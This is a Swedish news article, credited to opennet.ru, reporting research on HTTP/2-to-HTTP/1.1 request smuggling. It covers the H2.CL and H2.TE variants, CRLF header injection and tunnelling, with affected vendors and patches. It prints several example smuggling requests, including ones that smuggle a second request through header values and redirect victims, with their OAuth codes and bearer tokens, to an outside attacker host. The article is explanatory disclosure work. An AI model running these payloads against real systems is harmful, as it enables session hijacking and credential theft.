Webb_system dÀr frontend tar emot anslutningar via HTTP/2 och överför till backend via HTTP/1.1 har blivit sÄrbara för en ny variant av attacken "HTTP Request Smuggling", som möjliggör infiltration av innehÄllet i andra anvÀndares förfrÄgningar genom att skicka speciellt utformade klientförfrÄgningar i samma ström mellan frontend och backend. Attacken kan anvÀndas för att infoga skadlig JavaScript-kod i en session med en legitim webbplats, kringgÄ ÄtkomstbegrÀnsningssystem och fÄnga autentiseringsparametrar.
Problemet drabbar webb-proxyer, lastbalanserare, webb-acceleratorer, innehÄllsdistributionssystem och andra konfigurationer dÀr förfrÄgningar vidarebefordras enligt frontend-backend schemat. Studien visade att attacken kan riktas mot system som Netflix, Verizon, Bitbucket, Netlify CDN och Atlassian, och forskaren erhöll 56 000 dollar i belöning för att upptÀcka sÄrbarheter. Problemet har ocksÄ bekrÀftats i produkter frÄn F5 Networks. Delvis pÄverkas mod_proxy i Apache HTTP-servern (CVE-2021-33193), med korrigeringar som vÀntas i version 2.4.49 (utvecklarna informerades om problemet i början av maj och fick tre mÄnader pÄ sig att ÄtgÀrda det). I nginx blockerades möjligheten att ange bÄde "Content-Length" och "Transfer-Encoding" samtidigt i den senaste utgÄvan (1.21.1). Verktyg för att genomföra attacker har redan lagts till i Burp-samlingen och finns tillgÀngliga som ett Turbo Intruder-tillÀgg.
Principen för den nya metoden att infiltrera förfrÄgningar i trafiken liknar en sÄrbarhet som upptÀcktes av samma forskare för tvÄ Är sedan, men begrÀnsad till frontends som tar emot förfrÄgningar via HTTP/1.1. Vi pÄminner om att i frontend-backend schemat tar en extra nod - frontend - emot kundens förfrÄgningar och etablerar en lÄnglivad TCP-anslutning med backend som utför den direkta behandlingen av förfrÄgningarna. Genom denna gemensamma anslutning överförs vanligtvis förfrÄgningar frÄn olika anvÀndare som följer efter varandra med uppdelning genom HTTP-protokollet.
Den klassiska attacken "HTTP Request Smuggling" baserades pÄ att frontend- och backend-system tolkar anvÀndningen av HTTP-headerna "Content-Length" (som definierar den totala storleken pÄ data i förfrÄgan) och "Transfer-Encoding: chunked" (som tillÄter att data överförs i delar) pÄ olika sÀtt. Om frontend-systemet till exempel endast stöder "Content-Length" men ignorerar "Transfer-Encoding: chunked", kan en angripare skicka en förfrÄgan dÀr bÄde "Content-Length" och "Transfer-Encoding: chunked" Àr angivna, men storleken i "Content-Length" motsvarar inte storleken pÄ chunked-kedjan. I detta fall kommer frontend-systemet att behandla och vidarebefordra förfrÄgan enligt "Content-Length", medan backend-systemet kommer att förvÀnta sig att blocket avslutas baserat pÄ "Transfer-Encoding: chunked" och den ÄterstÄende delen av angriparens förfrÄgan kommer att hamna i början av en annan förfrÄgan som skickas efterÄt.
Till skillnad frÄn den textbaserade protokollet HTTP/1.1, vars analys utförs pÄ radnivÄ, Àr HTTP/2 ett binÀrt protokoll och manipulerar block av data av en förutbestÀmd storlek. I HTTP/2 anvÀnds pseudohuvuden som motsvarar vanliga HTTP-huvuden. NÀr man interagerar med backend-systemet via protokollet HTTP/1.1 översÀtter frontend-systemet dessa pseudohuvuden till motsvarande HTTP-huvuden i HTTP/1.1. Problemet Àr att backend-systemet fattar beslut om analysen av strömmen baserat pÄ de HTTP-huvuden som frontend-systemet har satt, utan information om parametrarna frÄn den ursprungliga förfrÄgan.
Inklusive i form av pseudohuvuden kan vÀrdena "content-length" och "transfer-encoding" överföras, trots att de inte anvÀnds i HTTP/2, eftersom storleken pÄ all data definieras i ett separat fÀlt. Under processen för att konvertera en HTTP/2-förfrÄgan till HTTP/1.1 överförs dock dessa huvuden och kan förleda backend-systemet. TvÄ huvudsakliga angreppsvarianter definieras: H2.TE och H2.CL, dÀr backend-systemet vilseleds av ett felaktigt vÀrde för transfer-encoding eller content-length, som inte stÀmmer överens med den verkliga storleken pÄ kroppsdatan i förfrÄgan som kom till frontend-systemet via protokollet HTTP/2.

Som ett exempel pÄ attacken H2.CL ges en specifikation av en felaktig storlek i pseudo-rubriken content-length nÀr en HTTP/2-begÀran skickas till Netflix. Denna begÀran leder till att en liknande HTTP-rubrik Content-Length lÀggs till nÀr backend anropas via HTTP/1.1, men eftersom storleken i Content-Length anges som mindre Àn den faktiska, behandlas en del av datan i slutet som början av nÀsta begÀran.
Till exempel, HTTP/2-begÀran: :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Kommer att skicka en begÀran till backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Eftersom Content-Length har vĂ€rdet 4, kommer backend att tolka endast "abcd" som begĂ€rans kropp, och resten av "GET /n HTTP/1.1âŠ" kommer att behandlas som början av den efterföljande begĂ€ran, kopplad till en annan anvĂ€ndare. Följaktligen kommer det att ske en desynkronisering av flödet och som svar pĂ„ den efterföljande begĂ€ran kommer resultatet av behandlingen av den manipulerade begĂ€ran att ges. I fallet med Netflix ledde specificeringen av en extern vĂ€rd i rubriken "Host:" i den manipulerade begĂ€ran till att klienten fick svaret "Location: https://02.rs?x.netflix.com/n" och möjliggjorde att överföra godtyckligt innehĂ„ll till klienten, inklusive att köra sin JavaScript-kod i kontexten av Netflix-webbplatsen.
Ett andra alternativ till attacken (H2.TE) Àr kopplat till insÀttningen av rubriken "Transfer-Encoding: chunked". AnvÀndningen av pseudo-rubriken transfer-encoding i HTTP/2 Àr förbjuden av specifikationen, och begÀrningar med den ska tolkas som felaktiga. Trots detta tar vissa implementationer av frontend inte hÀnsyn till detta krav och tillÄter anvÀndning av pseudo-rubriken transfer-encoding i HTTP/2, som omvandlas till en liknande HTTP-rubrik. Vid nÀrvaro av rubriken "Transfer-Encoding" kan backend uppfatta den som mer prioriterad och genomföra en delvis analys av data i "chunked"-lÀge med block av varierande storlek i formatet "{storlek}\r\n{block}\r\n{storlek}\r\n{block}\r\n0", trots den ursprungliga uppdelningen efter total storlek.
NÀrvaron av en sÄdan sÄrbarhet har demonstrerats med exemplet pÄ företaget Verizon. Problemet rörde autentiseringportalen och för innehÄllshanteringssystem, som ocksÄ anvÀnds pÄ webbplatser som Huffington Post och Engadget. Till exempel, kundens begÀran via HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Ledde till att backend fick en HTTP/1.1-förfrÄgan: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Backend Ă„ sin sida ignorerade "Content-Length"-huvudet och delade upp strömmen baserat pĂ„ "Transfer-Encoding: chunked". I praktiken tillĂ€t attacken att omdirigera anvĂ€ndarförfrĂ„gningar till sin egen sida och Ă€ven fĂ„nga upp förfrĂ„gningar relaterade till OAuth-autentisering, vars parametrar visades i Referer-huvudet, samt simulera en autentisering och initiera att systemet skickar anvĂ€ndarens autentiseringsuppgifter till angriparens vĂ€rd. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?âŠ&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6IkâŠ
För attacker mot HTTP/2-implementationer som inte tillÄter angivande av pseudo-huvudet transfer-encoding föreslogs en annan metod, relaterad till att infoga "Transfer-Encoding"-huvudet genom att fÀsta det till andra pseudo-huvuden med radbrytning (vid omvandling till HTTP/1.1 skapas i sÄdana fall tvÄ separata HTTP-huvuden).
Till exempel var Atlassian Jira och Netlify CDN (som anvÀnds för att leverera startsidan för Mozilla i Firefox) mottagliga för det angivna problemet. Specifikt, HTTP/2-förfrÄgan :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
ledde till att en HTTP/1.1-förfrÄgan skickades till backend POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Ett annat alternativ för att infoga "Transfer-Encoding"-huvudet var att fÀsta det till namnet pÄ ett annat pseudo-huvud eller till strÀngen med begÀrningsmetoden. Till exempel, nÀr man anropade Atlassian Jira, ledde namnet pÄ pseudo-huvudet "foo: bar\r\ntransfer-encoding" med vÀrdet "chunked" till att HTTP-huvuden "foo: bar" och "transfer-encoding: chunked" lade till, och angivandet i pseudo-huvudet ":method" med vÀrdet "GET / HTTP/1.1\r\nTransfer-encoding: chunked" översattes till "GET / HTTP/1.1\r\ntransfer-encoding: chunked".
Forskaren som upptÀckte problemet föreslog ocksÄ en teknik för tunneling av förfrÄgningar för att utföra en attack mot frontend som för varje IP-adresser Ett separat anslutning upprÀttas med backend och trafik frÄn olika anvÀndare blandas inte. Den föreslagna tekniken tillÄter inte att man trÀnger sig in i andra anvÀndares förfrÄgningar, men gör det möjligt att manipulera den gemensamma cachen, vilket pÄverkar behandlingen av andra förfrÄgningar, och möjliggör ersÀttning av interna HTTP-huvuden som anvÀnds för att överföra kontrollinformation frÄn frontend till backend (t.ex. vid autentisering pÄ frontend kan uppgifter om den aktuella anvÀndaren överföras till backend i sÄdana huvuden). Som exempel pÄ tillÀmpning av metoden i praktiken via cache-manipulation har det varit möjligt att fÄ kontroll över sidor i tjÀnsten Bitbucket.
KĂ€lla: opennet.ru
